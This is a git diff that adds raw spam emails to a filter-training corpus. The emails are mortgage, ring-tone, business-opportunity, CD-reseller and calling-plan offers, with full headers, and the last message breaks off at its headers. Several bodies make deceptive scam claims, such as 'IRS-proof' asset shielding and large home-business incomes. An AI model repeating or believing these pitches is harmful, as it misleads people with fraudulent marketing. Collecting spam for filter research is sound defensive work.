+Date: Tue, 21 Aug 2001 12:43:57 -0500 + + +

     
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    + +
     
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    + +4924161298765444333 + diff --git a/bayes/spamham/spam_2/00152.a9f16de7f087215259a15322961bf9c0 b/bayes/spamham/spam_2/00152.a9f16de7f087215259a15322961bf9c0 new file mode 100644 index 0000000..523f664 --- /dev/null +++ b/bayes/spamham/spam_2/00152.a9f16de7f087215259a15322961bf9c0 @@ -0,0 +1,155 @@ +From carolynn492416@aol.com Mon Jun 24 17:53:58 2002 +Return-Path: carolynn@aol.com +Delivery-Date: Sun Jun 23 20:56:03 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5NJu0I01898 for + ; Sun, 23 Jun 2002 20:56:00 +0100 +Received: from ns.sixa.net ([211.217.127.29]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5NJttm21620 for + ; Sun, 23 Jun 2002 20:55:56 +0100 +Message-Id: <200206231955.g5NJttm21620@mandark.labs.netnoteinc.com> +Received: from smtp0199.mail.yahoo.com (COX-66-210-197-195.coxinet.net + [66.210.197.195]) by ns.sixa.net with SMTP (Microsoft Exchange Internet + Mail Service Version 5.5.2653.13) id M9LHNRWR; Mon, 24 Jun 2002 03:49:00 + +0900 +Reply-To: carolynn@aol.com +From: carolynn492416@aol.com +To: yyyy@netcomuk.co.uk +Cc: yyyy@netdados.com.br, yyyy@neteze.com, yyyy@netmagic.net, yyyy@netmore.net, + jm@netnoteinc.com, jm@netrevolution.com, jm@netset.com, + jm@netunlimited.net, jm@netvigator.com +Subject: discounted motgages 4924161298765444333 +MIME-Version: 1.0 +Date: Tue, 21 Aug 2001 12:43:57 -0500 +Content-Type: text/html; charset="iso-8859-1" + + +

     
    + + + + +
      + + + +
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    +

    Dear + Homeowner,
    +
     
    +
    *6.25% 30 Yr Fixed Rate + Mortgage
    +
    Interest + rates are at their lowest point in 40 years! We help you + find the best rate for your situation by matching your + needs with hundreds of lenders! Home Improvement, + Refinance, Second Mortgage, Home Equity + Loans, and More! Even with less than perfect credit! +
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    +
    +
    aNO COST + OUT OF POCKET +
    aNO + OBLIGATION +
    aFREE + CONSULTATION +
    aALL + CREDIT GRADES ACCEPTED
    + +
     
    +
    * based on + mortgage rate as of 5-15-02 as low as 6.25% see lender + for details
    		 +
     
    		 +

    H

    + + + +
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    Apply now and one of our lending partners + will get back to you within 48 + hours. +

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    +

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    + +4924161298765444333 diff --git a/bayes/spamham/spam_2/00153.d20d157c684520f1c3aa8f270f753785 b/bayes/spamham/spam_2/00153.d20d157c684520f1c3aa8f270f753785 new file mode 100644 index 0000000..9a858be --- /dev/null +++ b/bayes/spamham/spam_2/00153.d20d157c684520f1c3aa8f270f753785 @@ -0,0 +1,192 @@ +From cell_phone_fun842211@yahoo.com Tue Jul 2 12:56:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 34DCE14F906 + for ; Tue, 2 Jul 2002 12:51:17 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 02 Jul 2002 12:51:17 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5UEPKX27975 for + ; Sun, 30 Jun 2002 15:25:21 +0100 +Received: from gdcon.gdcon.com ([211.210.119.121]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with SMTP id g5UEPHA16187 for + ; Sun, 30 Jun 2002 15:25:18 +0100 +Received: from smtp0311.mail.yahoo.com (unverified [66.190.93.114]) by + gdcon.gdcon.com (EMWAC SMTPRS 0.83) with SMTP id + ; Sat, 29 Jun 2002 15:54:52 +0900 +Message-Id: +Reply-To: cell_phone_fun@yahoo.com +From: cell_phone_fun842211@yahoo.com +To: yyyy@neteze.com +Cc: yyyy@netmagic.net, yyyy@netmore.net, yyyy@netnoteinc.com, + jm@netrevolution.com, jm@netset.com, jm@netunlimited.net, + jm@netvigator.com +Subject: cell phone ring tones 84221111000000 +MIME-Version: 1.0 +Date: Mon, 27 Aug 2001 00:40:38 -0500 +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    Take yourself out of our list BY CLICKING HERE
    +
    +
    BORED + WITH
    + YOUR CELL PHONE?
    +
    +
    + + + + + +
    +
    + • • • • • • • • + • • • • • • • • + • • • • • •
    +     Get + cool Songs & Logos to your Phone today!
    + • • • • • • • • + • • • • • • • • + • • • • • •
    +
    + +
    +
    +
      It's + real simple! No confusing downloads
    + or installations.Simple phone activation!
    +
     
    + +
    +
    There + are tons of songs and graphics to choose from.
    + See a sample of some of the songs to choose from below:
    +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
      
    SONGARTIST
    Get + Ur Freak OnMissy + Elliott
    Billie + JeanMichael + Jackson
    BatmanDanny + Elfman
    Walk + Like an EgyptianBangles
    FlinstonesBarbera
    4 + Page LetterAaliyah
    Like + a VirginMadonna
    What's + It Gonna Be?B.Rhymes/J.Jackson
    Achy + Breaky HeartBilly + Ray Cyrus
    Star + Spangled BannerJohn + Smith
    +
     
    +
    When + you are ready to order, just
    +
    + +
    +
    and + we will deliver your new tunes or graphics
    + via satellite in under 5 minutes.
    +
    +
    Take yourself out of our list BY CLICKING HERE
    +
    + +84221111000000 + diff --git a/bayes/spamham/spam_2/00154.fb13b55bdbb01e81ac9b8ee6f13948d5 b/bayes/spamham/spam_2/00154.fb13b55bdbb01e81ac9b8ee6f13948d5 new file mode 100644 index 0000000..0039a6d --- /dev/null +++ b/bayes/spamham/spam_2/00154.fb13b55bdbb01e81ac9b8ee6f13948d5 @@ -0,0 +1,192 @@ +From cell_phone_fun241286@yahoo.com Tue Jul 2 12:56:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.labs.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix on SuSE Linux 8.0 (i386)) with ESMTP id 4444414F8C2 + for ; Tue, 2 Jul 2002 12:51:15 +0100 (IST) +Received: from dogma.slashnull.org [212.17.35.15] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 02 Jul 2002 12:51:15 +0100 (IST) +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g5UDQmX26118 for + ; Sun, 30 Jun 2002 14:26:48 +0100 +Received: from mail2.media2.com ([61.96.135.4]) by + mandark.labs.netnoteinc.com (8.11.6/8.11.2) with ESMTP id g5UDQgA16096 for + ; Sun, 30 Jun 2002 14:26:43 +0100 +Received: from smtp0189.mail.yahoo.com ([202.164.168.14]) by + mail2.media2.com (8.12.4/8.12.3) with SMTP id g5UDKERq028025; + Sun, 30 Jun 2002 22:20:18 +0900 +Message-Id: <200206301320.g5UDKERq028025@mail2.media2.com> +Reply-To: cell_phone_fun@yahoo.com +From: cell_phone_fun241286@yahoo.com +To: yyyy@neteze.com +Cc: yyyy@netmagic.net, yyyy@netmore.net, yyyy@netnoteinc.com, + jm@netrevolution.com, jm@netset.com, jm@netunlimited.net, + jm@netvigator.com +Subject: nokia cell users 24128644332 +MIME-Version: 1.0 +Date: Tue, 28 Aug 2001 07:24:51 -0500 +Content-Type: text/html; charset="iso-8859-1" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
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    +
    +
    BORED + WITH
    + YOUR CELL PHONE?
    +
    +
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Since your mail reader does not understand +this format, some or all of this message may not be legible. + +------_=_NextPart_000_01C1BDF8.7FDC11CE +Content-Type: text/plain; + charset="iso-8859-1" + +Your message + + Subject: Home Based Business for Grownups + Sent: Sun, 21 Jan 2001 09:24:27 +0100 + +did not reach the following recipient(s): + +75@tfi.kpn.com on Mon, 25 Feb 2002 13:32:23 +0100 + The recipient name is not recognized + The MTS-ID of the original message is: c=us;a= ;p=ptt +telecom;l=MTPI70590202251232FJT4D8Q5 + MSEXCH:IMS:KPN-Telecom:I:MTPI7059 0 (000C05A6) Unknown Recipient + + + +------_=_NextPart_000_01C1BDF8.7FDC11CE +Content-Type: message/rfc822 + +Message-ID: +From: xl6Ety00V@fismat1.fcfm.buap.mx +To: +Subject: Home Based Business for Grownups +Date: Sun, 21 Jan 2001 09:24:27 +0100 +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2653.19) +X-MS-Embedded-Report: +Content-Type: text/plain; + charset="iso-8859-1" + + + + THIS ENTERPRISE IS AWESOMELY FEATURED + IN SEPTEMBER 2000 MILLIONAIRE, + AUGUST 2000 TYCOONS AND + AUGUST 2000 ENTREPRENEUR Magazine. + +====> Do you have a burning desire to change the quality of your existing +life? + +====> Would you like to live the life that others only dream about? + +====> The fact is we have many people in our enterprise that earn over 50k +per month + from the privacy of their own home and are retiring in 2-3 years. + +====> Become Wealthy and having total freedom both personal and financial. + + + READ ON! READ ON! READ ON! READ ON! READ ON! READ ON! READ +ON!!! + + How would you like to:(LEGALLY & LAWFULLY) + 1. KEEP MOST OF YOUR TAX DOLLARS + 2. Drastically reduce personal, business and capital gains taxes? + 3. Protect all assets from any form of seizure, liens, or judgments? + 4. Create a six figure income every 4 months? + 5. Restoring and preserving complete personal and financial privacy? + 6. Create and amass personal wealth, multiply it and protect it? + 7. Realize a 3 to 6 times greater returns on your money? + 8. Legally make yourself and your assets completely judgment-proof, + + SEIZURE-PROOOOF, LIEN-PROOOOOOF, DIVORCE-PROOOOOOF, ATTORNEY-PROOOOOOF, +IRS-PROOOOOOF + + ((((((((((((((((((((BECOME COMPLETELY +INSULATED)))))))))))))))))))))))) + + (((((((((((((((((((((((((HELP PEOPLE DO THE +SAME)))))))))))))))))))))))))) + +===> Are you a thinker, and a person that believes they deserve to have the +best in life? +===> Are you capable of recognizing a once in a lifetime opportunity when + it's looking right at you? +===> Countless others have missed their shot. Don't look back years later + and wish you made the move. + +===> It's to my benefit to train you for success. +===> In fact, I'm so sure that I can do so, + I'm willing to put my money where my mouth is! +===> Upon accepting you as a member on my team, I will provide you with + complete Professional Training as well as FRESH inquiring LEADS to put + you immediately on the road to success. + +If you are skeptical that's OK but don't let that stop you +from getting all the information you need. + + DROP THE MOUSE=====> AND CALL 800-320-9895 x2068 <======= DROP THE +MOUSE AND CALL +************************************800-320-9895 +x2068************************************** + +~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ +Your E-mail Address Removal/Deletion Instructions: + +We comply with proposed federal legislation regarding unsolicited +commercial e-mail by providing you with a method for your e-mail address +to be permanently removed from our database and any future mailings from +our company. + +To remove your address, please send an e-mail message with the word REMOVE +in the subject line to: maillistdrop@post.com + +If you do not type the word REMOVE in the subject line, your request to +be removed will not be processed. +~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ + +------_=_NextPart_000_01C1BDF8.7FDC11CE-- diff --git a/bayes/spamham/spam_2/00170.5e4c7668564952d8bfbf106d32fa9e5e b/bayes/spamham/spam_2/00170.5e4c7668564952d8bfbf106d32fa9e5e new file mode 100644 index 0000000..3c71bc5 --- /dev/null +++ b/bayes/spamham/spam_2/00170.5e4c7668564952d8bfbf106d32fa9e5e @@ -0,0 +1,279 @@ +From ardi@attbi.com Mon Jun 24 17:40:43 2002 +Return-Path: ardi@attbi.com +Delivery-Date: Wed Feb 27 12:24:31 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g1PMlhk13832 for + ; Mon, 25 Feb 2002 22:47:43 GMT +Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) + by mandark.labs.netnoteinc.com (8.11.2/8.11.2) with ESMTP id g1PMlZ622342 + for ; Mon, 25 Feb 2002 22:47:36 GMT +Received: from broome ([12.248.188.91]) by rwcrmhc52.attbi.com (InterMail + vM.4.01.03.27 201-229-121-127-20010626) with SMTP id + <20020225224727.IUBK1147.rwcrmhc52.attbi.com@broome>; Mon, 25 Feb 2002 + 22:47:27 +0000 +Message-Id: <006001c1be4e$bf7f44c0$5bbcf80c@attbi.com> +From: "Ardi Broome" +To: , , , + , , , + , , , + , , , + , , , + , , , + , , +Subject: Press Release +Date: Mon, 25 Feb 2002 16:49:55 -0600 +MIME-Version: 1.0 +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +X-Status: +X-Keywords: +Content-Type: multipart/alternative; boundary="----=_NextPart_000_005D_01C1BE1C.740AA160" + +This is a multi-part message in MIME format. + +------=_NextPart_000_005D_01C1BE1C.740AA160 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +The Business Opportunity Alliance Releases the Sale of New Plug-n-Play +Smart CD. + +Ground Breaking CD, NEW BIZ-OP GOLD SMART CD, Is already Storming the +market. BizOppInaBox,Tampa Florida-January 20,2002- Business Opportunity +Alliance today announced their + +NEW BIZ-OP GOLD SMART CD, a plug and play Software, which Features State +of the ART Marketing Technology, and Training for the Internet = +entrepreneur. +The New BIZ-OP Gold CD brings first to market absolutely everything an +entrepreneur needs to go from Kindergarten to Masters in Internet = +Marketing, +all in one place. The New NEW BIZ-OP GOLD SMART CD, includes the = +Microsoft +Licensed BOIAB Internet Explorer Web browser for Home Based Business,=20 +Earth-link Sprint Dial-up, Cable and DSL services, is the most = +affordable, +and comprehensive resource in the offline or online world, with features +that no one else in the industry has. With the ability to update the CD +monthly the entrepreneur will be able to keep pace with the latest = +resources +and software available on the internet. + +"The new BIZ-OPP GOLD SMART CD, contains everything the entrepreneur = +needs +to take their business to the next level, and will be available = +worldwide, +said Gary Shawkey, CEO of Business Opportunity Alliance. + +Pricing and Availability +=20 +The new NEW BIZ-OP GOLD SMART CD is available for purchase as of January +20th 2001 and will be shipped starting February 8th. CD will be = +available +through the Business Opportunity Alliance = +(http://www.bizoppalliance.com/member1849 , +by telephone at 800-727-6815 and give code#1849 and through our 60,000 = +authorized distributors worldwide. Pricing and availability of the NEW = +BIZ-OP GOLD SMART CD and=20 +further details of the features of the CD are listed below.=20 + +NEW BIZ-OP GOLD SMART CD for a retail price of $49.97(US) includes: + +BOIAB Internet Explorer 6.0 (A Microsoft Exclusively Licensed Product) =20 + +Complete Email Links (with Folders!) =20 + +Links to Advertising Sites that Work (and Ideas!) =20 + +Search Engines =20 + +Webmaster Tools =20 + +Simple Plug n' Play installation a 2 year old could do! =20 + +and MUCH more...=20 + +Get the CD ROM and Become an Associate! + +Associates are eligible to receive $25 commissions on + +the sale of each CD. + +Specifically, Our BizOpp Gold CD Software Includes: + +Ads & Ideas=20 + +1000's of Links=20 + +Working Email Folders=20 + +Submission Ideas=20 + +Contact Information=20 + +Personal Tagging=20 + +Program Site Links=20 + +1000's of Classified Ad Sites=20 + +Online Virus Scan=20 + +PayPal Access=20 + +Email Program Links=20 + +Webmaster Tools=20 + +Incoming Mail Folders=20 + +Source Codes=20 + +HTML Editors=20 + +Search Engines=20 + +Help Desk=20 + +Tracking System Preview=20 + +Opt-in List System Preview=20 + +Easy Plug and Play Installation=20 + +And Much, Much More...=20 + +Cost for this BIZ-OPP GOLD SMART CD is only $49.97 (Plus $6.79 shipping +and handling for US/Canada or $11.79 for International shipments!) + +The Business Opportunity Alliance Research and Development team will be +working to provide the most advanced and up to date marketing software = +and +marketing techniques for consumers of the CD and have a top Programming = +team +to configure upgrades to the software which will be downloadable via the +internet for only $1.00 USD per month. + +For more information, please click here = +http://www.promoneymail.com/member1849 + +This is not a spam - we have had contact in the past, for removal from = +my list email ardi8@lycos.com with Remove in the subject box. + +------=_NextPart_000_005D_01C1BE1C.740AA160 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +

    +
    The Business Opportunity Alliance = +Releases the=20 +Sale of New Plug-n-Play
    Smart CD.

    Ground Breaking CD, NEW = +BIZ-OP GOLD=20 +SMART CD, Is already Storming the
    market. BizOppInaBox,Tampa = +Florida-January=20 +20,2002- Business Opportunity
    Alliance today announced = +their

    NEW=20 +BIZ-OP GOLD SMART CD, a plug and play Software, which Features = +State
    of the=20 +ART Marketing Technology, and Training for the Internet = +entrepreneur.
    The New=20 +BIZ-OP Gold CD brings first to market absolutely everything = +an
    entrepreneur=20 +needs to go from Kindergarten to Masters in Internet Marketing,
    all = +in one=20 +place. The New NEW BIZ-OP GOLD SMART CD, includes the = +Microsoft
    Licensed=20 +BOIAB Internet Explorer Web browser for Home Based Business, = +
    Earth-link=20 +Sprint Dial-up, Cable and DSL services,  is the most = +affordable,
    and=20 +comprehensive resource in the offline or online world, with = +features
    that no=20 +one else in the industry has. With the ability to update the = +CD
    monthly the=20 +entrepreneur will be able to keep pace with the latest resources
    and = +software=20 +available on the internet.

    "The new BIZ-OPP GOLD SMART CD, = +contains=20 +everything the entrepreneur needs
    to take their business to the next = +level,=20 +and will be available worldwide,
    said Gary Shawkey, CEO of Business=20 +Opportunity Alliance.

    Pricing and Availability
     
    The = +new NEW=20 +BIZ-OP GOLD SMART CD is available for purchase as of January
    20th = +2001 and=20 +will be shipped starting February 8th.  CD will be = +available
    through the=20 +Business Opportunity Alliance (    http://www.bizoppallian= +ce.com/member1849=20 +,
    by telephone at 800-727-6815 and give=20 +code#1849 and through our 60,000 authorized distributors = +worldwide. =20 +Pricing and availability of the NEW BIZ-OP GOLD SMART CD and
    further = +details=20 +of the features of the CD are listed below.

    NEW BIZ-OP GOLD = +SMART CD for=20 +a retail price of  $49.97(US) includes:

    BOIAB Internet = +Explorer 6.0=20 +(A Microsoft Exclusively Licensed Product) 

    Complete Email = +Links=20 +(with Folders!) 

    Links to Advertising Sites that Work (and=20 +Ideas!) 

    Search Engines 

    Webmaster Tools  = + +

    Simple Plug n' Play installation a 2 year old could do! =20 +

    and MUCH more...

    Get the CD ROM and Become an=20 +Associate!

    Associates are eligible to receive $25 commissions=20 +on

    the sale of each CD.

    Specifically, Our BizOpp Gold CD = +Software=20 +Includes:

    Ads & Ideas

    1000's of Links

    Working = +Email=20 +Folders

    Submission Ideas

    Contact Information = +

    Personal=20 +Tagging

    Program Site Links

    1000's of Classified Ad Sites = + +

    Online Virus Scan

    PayPal Access

    Email Program = +Links=20 +

    Webmaster Tools

    Incoming Mail Folders

    Source = +Codes=20 +

    HTML Editors

    Search Engines

    Help Desk = +

    Tracking=20 +System Preview

    Opt-in List System Preview

    Easy Plug and = +Play=20 +Installation

    And Much, Much More...

    Cost for this = +BIZ-OPP GOLD=20 +SMART CD is only $49.97 (Plus $6.79 shipping
    and handling for = +US/Canada or=20 +$11.79 for International shipments!)

    The Business Opportunity = +Alliance=20 +Research and Development team will be
    working to provide the most = +advanced=20 +and up to date marketing software and
    marketing techniques for = +consumers of=20 +the CD and have a top Programming team
    to configure upgrades to the = +software=20 +which will be downloadable via the
    internet for only $1.00 USD per=20 +month.

    For more information, please click here http://www.promoneymail.c= +om/member1849

    This=20 +is not a spam - we have had contact in the past,  for removal from = +my list=20 +email ardi8@lycos.com with Remove = +in the=20 +subject box.
    + +------=_NextPart_000_005D_01C1BE1C.740AA160-- + diff --git a/bayes/spamham/spam_2/00171.8d972e393ba7c05bfcbf55b3591ce5f3 b/bayes/spamham/spam_2/00171.8d972e393ba7c05bfcbf55b3591ce5f3 new file mode 100644 index 0000000..bcf2cd9 --- /dev/null +++ b/bayes/spamham/spam_2/00171.8d972e393ba7c05bfcbf55b3591ce5f3 @@ -0,0 +1,93 @@ +From myron@hotmail.com Mon Jun 24 17:40:38 2002 +Return-Path: myron@hotmail.com +Delivery-Date: Wed Feb 27 12:15:16 2002 +Received: from mandark.labs.netnoteinc.com ([213.105.180.140]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g1Q8JLk04995 for + ; Tue, 26 Feb 2002 08:19:21 GMT +Received: from hotmail.com (IDENT:icache@[210.102.176.4]) by + mandark.labs.netnoteinc.com (8.11.2/8.11.2) with SMTP id g1Q8JB624051 for + ; Tue, 26 Feb 2002 08:19:13 GMT +Date: Tue, 26 Feb 2002 08:19:13 GMT +Received: from unknown (114.224.201.119) by anther.webhostingtalk.com with + asmtp; 26 Feb 2002 13:19:06 -0500 +Received: from [98.81.145.228] by a231242.upc-a.chello.nl with esmtp; + Tue, 26 Feb 2002 05:08:40 +0300 +Reply-To: +Message-Id: <004a03d27deb$4256d2c7$8cb88dc1@kihftb> +From: +To: +Subject: Cheap FLAT RATE InState, USA, Worldwide Calling +MIME-Version: 1.0 +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +Importance: Normal +X-Status: +X-Keywords: +Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C5_81A02D8D.A0703A60" + +------=_NextPart_000_00C5_81A02D8D.A0703A60 +Content-Type: text/html; charset="iso-8859-1" +Content-Transfer-Encoding: base64 + +PEhUTUw+DQo8VFI+PFREPjxGT05UIGZhY2U9IkFyaWFsLCBWZXJkYW5hLCBI +ZWx2ZXRpY2EiIHNpemU9LTE+DQo8Rk9OVCBTSVpFPTIuNSBDT0xPUj0jMDAw +MDAwPjxmb250IGZhY2U9VGFob21hPg0KSGksIGptIC0gPGJyPjxicj4NClF1 +ZXN0aW9uIC0gPGI+Q2FuIHlvdSBiZWF0IExvbmcgRGlzdGFuY2UgZm9yIDxG +T05UIGNvbG9yPSNmZjAwMDA+VW5kZXIgNCBDZW50cy9NaW48L0ZPTlQ+Pzwv +Yj48QlI+PEJSPg0KSGVyZSBpcyBhIHN1bW1hcnkgb2YgdGhpcyBzZXJ2aWNl +Ojxicj48YnI+DQombmJzcDsmbmJzcDsmbmJzcDs8Rk9OVCBjb2xvcj0jMDAw +MGZmIGZhY2U9V2luZ2RpbmdzIHNpemU9Mz4oPC9GT05UPiZuYnNwOyZuYnNw +Ow0KQ292ZXJzIDx1PkFMTDwvdT4gPGI+SW4tU3RhdGU8L2I+IFRvbGwgY2Fs +bHMgYW5kIHRvIDx1PkFMTDwvdT4gPGI+NTAgU3RhdGVzPC9iPjxicj48YnI+ +DQombmJzcDsmbmJzcDsmbmJzcDs8Rk9OVCBjb2xvcj0jMDAwMGZmIGZhY2U9 +V2luZ2RpbmdzIHNpemU9Mz4oPC9GT05UPiZuYnNwOyZuYnNwOw0KPGI+SU5U +RVJOQVRJT05BTDwvYj4gQ2FsbGluZyBvcHRpb25zPGJyPjxicj4NCiZuYnNw +OyZuYnNwOyZuYnNwOzxGT05UIGNvbG9yPSMwMDAwZmYgZmFjZT1XaW5nZGlu +Z3Mgc2l6ZT0zPig8L0ZPTlQ+Jm5ic3A7Jm5ic3A7DQo8Yj4yNC83IEFueXRp +bWU8L2I+IG1pbnV0ZXMgYW5kIDxiPkV2ZW5pbmcvV2Vla2VuZHM8L2I+PGJy +Pg0KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 +Jm5ic3A7Jm5ic3A7IA0KUHJvZ3JhbXMgc3RhcnRpbmcgYXMgTG93IGFzIDxi +PiQzMC9tb250aDwvYj48YnI+PGJyPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7PEZP +TlQgY29sb3I9IzAwMDBmZiBmYWNlPVdpbmdkaW5ncyBzaXplPTM+KDwvRk9O +VD4mbmJzcDsmbmJzcDsNCjxiPjMtV2F5PC9iPiBhbmQgQ29uZmVyZW5jZSBD +YWxsaW5nIGluY2x1ZGVkPGJyPjxicj4NCiZuYnNwOyZuYnNwOyZuYnNwOzxG +T05UIGNvbG9yPSMwMDAwZmYgZmFjZT1XaW5nZGluZ3Mgc2l6ZT0zPig8L0ZP +TlQ+Jm5ic3A7Jm5ic3A7DQo8Yj5ObzwvYj4gR2ltbWlja3MsIERlcG9zaXRz +LCBDb250cmFjdHMsIG9yIENyZWRpdCBDaGVja3M8YnI+PGJyPg0KJm5ic3A7 +Jm5ic3A7Jm5ic3A7PEZPTlQgY29sb3I9IzAwMDBmZiBmYWNlPVdpbmdkaW5n +cyBzaXplPTM+KDwvRk9OVD4mbmJzcDsmbmJzcDsNCkdldCA8Yj5GUkVFPC9i +PiBMaWZldGltZSBTZXJ2aWNlIG9yIEhpZ2ggTGV2ZWxzIG9mPGJyPg0KJm5i +c3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7 +Jm5ic3A7ICAgIA0KPGI+SU5DT01FPC9iPiB3aXRoIG91ciA8ST5SZWZlcnJh +bCBQcm9ncmFtPC9JPjxicj48YnI+DQpUaGlzIGlzIGEgPGI+SGlnaCBRdWFs +aXR5PC9iPiBhbmQgPGI+RGVwZW5kYWJsZTwvYj4gTEQgc2VydmljZSB0aGF0 +IGFsc28gb2ZmZXJzPGJyPg0KYSBncmVhdCBzdXBwb3J0IHN5c3RlbSBmb3Ig +YnVpbGRpbmcgYSBsdWNyYXRpdmUgaG9tZSBidXNpbmVzcyBlaXRoZXI8YnI+ +DQpvbiBJbnRlcm5ldCBvciBvZmYtbGluZSB3aXRoIFZFUlkgaGlnaCBkZW1h +bmQgcHJvZHVjdHMhPEJSPg0KPGJyPg0KPEZPTlQgc2l6ZT0zIGZvbnQgY29s +b3I9IiNmZjAwMDAiPjxiPkZvciBNb3JlIEluZm9ybWF0aW9uIC4gLiAuIC4g +PC9iPjwvRk9OVD48YnI+PGJyPg0KV2l0aCBtYW55IGRpZmZlcmVudCBJbnRl +cm5ldCBBZHMsIEkgbXVzdCB2ZXJpZnkgZ2VudWluZSBJbnRlcmVzdCwgc28u +Li4uLjxicj4NCmZvciBkZXRhaWxzLCBwbGVhc2UgdXNlIHRoaXMgbGluayBh +bmQgPHU+dGVsbCBtZSB5b3UgYXJlIGludGVyZXN0ZWQ8L3U+Ojxicj48YnI+ +DQombmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8Rk9OVCBzaXplPTIuNSBmb250 +PjxiPjxBIGhyZWY9Im1haWx0bzpGbGF0c2F2MTEyQGV4Y2l0ZS5jb20/U3Vi +amVjdD1TRU5EX01PUkVfSU5GTyI+PGZvbnQgY29sb3I9IiNmZjAwMDAiPiZs +dDtJJ00gSU5URVJFU1RFRCZndDs8L2ZvbnQ+PC9BPjwvYj48L2ZvbnQ+PGJy +Pg0KPGJyPg0KJm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PEZPTlQgY29sb3I9 +IiMwMDAwMDAiIHNpemU9Mj4oTm90ZTogcGxlYXNlIDxiPkRvIE5PVDwvYj4g +c2ltcGx5IHVzZSBSZXBseSAtIEkgd29uJ3QgZ2V0IHlvdXIgbWVzc2FnZSk8 +YnI+PGJyPg0KKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICog +KiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKiAqICogKjwv +Zm9udD48YnI+DQo8Rk9OVCBjb2xvcj0iIzAwMDAwMCIgc2l6ZT0yPjxiPlRI +SVMgTUVTU0FHRSBJUyBBRFZFUlRJU0VEIElOIE1BTlkgV0FZUzwvYj4sIHNv +IGlmIGl0PGJyPg0KZG9lc24ndCBpbnRlcmVzdCB5b3UsIHlvdSBjYW4gaW5z +dXJlIHlvdSB3b24ndCBnZXQgZnV0dXJlIGVtYWlsczxicj4NCmJ5IHVzaW5n +IHRoaXMgbGluazogPGI+PGZvbnQgY29sb3I9IiMwMDAwZmYiPiA8L2ZvbnQ+ +PC9iPjxiPjxBIGhyZWY9Im1haWx0bzp1bnN1YnNjcjExMkBleGNpdGUuY29t +P1N1YmplY3Q9U0VORF9OT19NQUlMIj5OTyBFTUFJTFM8L0E+PC9iPjxicj4N +CjwvRk9OVD48L2Rpdj4NCjxicj4NCjxGT05UIHNpemU9MT4gPGZvbnQgY29s +b3I9IiNGRkZGRkYiPjkyOTZ3Q09YNi02OTRHVHhKNjkyMnRqVnUxLTQ1NHNs +QDMwPC9mb250Pg0KPC9UUj4NCjwvSFRNTD4NCg== + diff --git a/bayes/spamham/spam_2/00172.0935a6d0aef9a3d6d64e07e3f6c453ec b/bayes/spamham/spam_2/00172.0935a6d0aef9a3d6d64e07e3f6c453ec new file mode 100644 index 0000000..d5cbe64 --- /dev/null +++ b/bayes/spamham/spam_2/00172.0935a6d0aef9a3d6d64e07e3f6c453ec @@ -0,0 +1,64 @@ +From oksana@antee.com Mon Jun 24 17:40:25 2002 +Return-Path: oksana@antee.com +Delivery-Date: Wed Feb 27 11:48:00 2002 +Received: from antee.com ([195.13.198.150]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g1R4vQk23795 for ; + Wed, 27 Feb 2002 04:57:27 GMT +Message-Id: <200202270457.g1R4vQk23795@dogma.slashnull.org> +Received: from ([127.0.0.1]) by mail.alltasks-5-7.com with ESMTP id for + ; Wed, 27 Feb 2002 06:34:18 +0400 +X-Sender: +From: Oksana Svetlova +To: +Date: Wed, 27 Feb 2002 06:34:18 +0400 +Subject: Proposal for cooperation +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Transfer-Encoding: 